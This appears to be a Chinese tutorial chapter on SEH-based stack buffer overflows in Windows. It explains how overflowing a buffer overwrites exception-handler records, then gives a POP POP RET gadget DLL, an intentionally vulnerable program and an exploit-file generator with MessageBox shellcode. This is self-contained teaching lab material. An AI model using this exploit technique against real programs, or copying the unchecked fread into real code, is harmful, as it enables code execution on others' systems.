栈溢出笔记1.10 基于SEH的栈溢出

上节中简单地讲述了SEH的原理及逻辑结构。本节，要继续讲述SEH的物理结构及如何利用它进行栈溢出。

先来看SEH的物理结构。先回想上节中的图51，我们在程序停在gets函数输入的时候查看SEH链，看到了一大堆异常处理器，而当我们把断点设置在gets函数下一条语句的时候，其中很多没有了，这给我们一个直观的感觉：SEH链保存在栈上。

下面，我们就来看看栈上的SEH链。我们使用的是example_10，即添加了一个自己的异常处理块的程序（编译时继续采用前面教程中的设置，即关闭缓冲区安全检查）。依然把断点设置在gets函数下一条语句，由于程序定义缓冲区为11个字节，我们输入10个A，即不超过缓冲区大小，断下后，先看SEH链：

图58 SEH链

再看栈：

图59 SEH链的物理布局

需要特别注意的是第一个异常处理器的位置，它位于局部变量与保持的EIP之间，正是这个重要位置，给了它利用的价值。需要说明的是，本节的重点在于SEH，而不是栈上保存的EIP（像前面小节中所说的），看到以后的小节之后你就知道为什么了。

现在要重复我们的老把戏了。我们输入28个A，溢出缓冲区的大小，来看栈：

图60 输入28个A时的栈

查看此时的SEH链：

图61 输入28个A时的SEH链

可以看到，此时的SEH链已经被我们破坏了，异常处理函数和下一个异常处理器都被重写为0x41414141。但是此时这并没有什么用，因为这个SEH链根本不会被触发，就算我们覆盖了SEH链第一个异常处理器的内容，也不会发生什么错误，程序输出28个A，然后正常退出：

图62

回想1.9节中的内容，异常处理块是程序员自己定义的，不同的应用程序中处理的异常类型都不相同，我们很难知道程序究竟处理了什么类型的异常，因此，我们也很难去触发指定类型的异常，来让SEH链被调用。那么，还有什么方法来触发一个异常呢？我们先来看一个现象，这次我们不输入28个A，我们输入很多很多A：

图63

然后，程序出现以下弹框：

图64

这说明缓冲区溢出到一定的程度，就会触发程序的异常处理，SEH链被调用，而且其内容被覆盖为“AAAA”。

现象我们看到了，那这个异常定义在哪？捕获的是什么类型的错误呢？它又是如何被触发的呢？我们看一看此时的栈：

图65

你知道原因了吗？此时整个栈都被写为了A，不仅如此，我们还向栈以外的内存也写入A，由于越过了栈范围，因而发生了越界访问。这一切都发生在example_10的__try块中，越界访问异常被捕获，于是有了上面的提示框。因此，最后总结为一句：通过向栈范围以外的内存写入数据，从而引发一次访问越界异常。

现在，我们再来做一次。这一次我们输入20个A + 8个B + 很多很多A：

图66

程序提示异常：

图67

注意异常发生的地址，并和图63中的异常地址进行对比，第一次我们将SEH链中的第一个异常处理器覆盖为“AAAAAAAA”，这一次我们将它覆盖为“BBBBBBBB”。因此，提示框中的异常发生地址实际上来自与SEH链。知道为什么吗？记得1.9节的原理吗？回顾一下异常被处理的过程，系统遍历SEH链，调用其中的每个异常处理器，判断它能否处理异常，如果不能，则移交给下一个，继续判断。直到异常被处理。而由于我们通过栈溢出更改了异常处理器的值，因此，系统尝试读取异常处理函数的地址（0x42424242）时，由于这个地址是我们随便给的，发生访问越界，这就是异常提示框中信息的由来。

好了，现在我们知道了如何修改SEH链中异常处理器的值，也知道了如何引发一次异常，让异常处理器被调用。现在，我们要利用这些东西来做点小把戏了。

还记得1.4节我们是如何黑掉程序example_2，让它执行我们的MessageBox的吗？我们通过一些特殊的方式（一条jmp esp指令），让程序转而执行我们提供的代码，从而控制了原程序。

我们在前面已经控制了EIP，但是EIP到底修改为多少呢？按直观的想法，EIP应该为我们的Shellcode的第一条指令的地址，但是这个地址又为多少呢？我们并不知道。不过，我们再来看一下异常处理函数_except_handler的原型：

图68

1.9节中说到了它的其它几个参数，但是没有说第二个参数EstablisherFrame，这个参数实际上就是当前SEH链的首地址，即SEH链中第一个_EXCEPTION_REGISTRATION_RECORD结构的地址，也就是被我们改写的那个异常处理器的地址。当异常处理函数被调用的时候，这个参数位于栈上ESP+8的位置。这不难理解，这个函数为__cdecl调用方式，则栈上是这样子的：

图69

因此，我们只需要想办法将EstablisherFrame载入EIP，就得到了一个靠谱的地址，从这个地址开始执行我们自己的代码。如何将EstablisherFrame载入EIP？系统将栈设置为图68的样子之后，就转向异常处理函数开始执行，这个函数是我们给定的，前面我们设置为0x42424242，发生了访问越界，现在我们要将异常处理函数地址设置为一段指令，这段指令可以将EstablisherFrame载入EIP，它就是著名的“POP POP RET”指令块。通过两次出栈，ESP指向EstablisherFrame，此时执行RET指令将EstablisherFrame作为返回地址载入EIP。

下面，就可以来看攻击缓冲区的结构了：

图70

先来说说各个部分，junk容易理解，用来填充原缓冲区，第一个异常处理器的起始地址（不能覆盖）。第二个部分是Jmp指令，它位于第一个异常处理器结构的Next SEH成员位置，为什么需要它？因为POP+POP+RET执行后返回到SEH起始地址，此时，如果没有跳转指令，顺序执行，POP+POP+RET还会执行，从而出错，因此，JMP指令的作用就是跳过POP+POP+RET。因此，我们需要跳过4字节，短跳转的操作码为EB，向后跳转四字节为\xeb\x04。由于有4字节的空间，因此再填充两个NOP指令。shellcode部分才是实际的功能载荷，它除了操作码以外，还要填充一些字符，用于制造栈越界，引发异常。

下面是示例，由于我要用到POP+POP+RET指令，因此，我先建立一个DLL，如下：

/*****************************************************************************/
头文件example_13.h:
__declspec(dllexport) void set_pop_pop_ret();

源文件example_13.cpp:
// example_13 包含POP+POP+RET指令的DLL

#include "example_13.h"

void set_pop_pop_ret()
{
    __asm
    {
        push esi
        push edi
        pop  edi
        pop  esi
        ret
    }
}
/*****************************************************************************/

然后，是用于演示栈溢出的程序（为了输入和调试方便，我把前面的gets改成了读文件）:

/*****************************************************************************/
// example_12 演示基于SEH的栈溢出
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#include "example_13.h"

#pragma comment(lib, "example_13.lib")

void get_print()
{
    FILE* fp = fopen("code.txt", "rb");

    char str[11];

    __try
    {
        fread(str, 1, 1024, fp);
        printf("%s\n",str);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        //
    }

    fclose(fp);
}

int main()
{
    get_print();

    set_pop_pop_ret();  // 来自example_13.dll

    return 0;
}
/*****************************************************************************/

下面是生成带有Shellcode的文件的程序：

/*****************************************************************************/
// example_11 生成exploit文件
#include <stdio.h>
#include <string.h>

char junk[] =
"AAAAAAAAAAAAAAAAAAAAAAAA" // junk
"\x90\x90\xeb\x04" // jmp
"\x50\x13\x01\x10"; // pop+pop+ret

char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  // shellcode
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";

int main()
{

    FILE* f = fopen("code.txt","wb");

    fwrite((char*)junk, strlen(junk), 1, f);

    fwrite((char*)shellcode, strlen(shellcode), 1, f);

    for( int i = 0; i < 100; i++ )
    {
        fputs("AAAA", f);
    }

    fclose(f);

    return 0;
}
/*****************************************************************************/

需要注意的是”\x90\x90\xeb\x04”，NOP指令放在前面和后面跳转长度是不一样的，如果NOP指令在后面，那就不是跳转4字节，而是6字节了。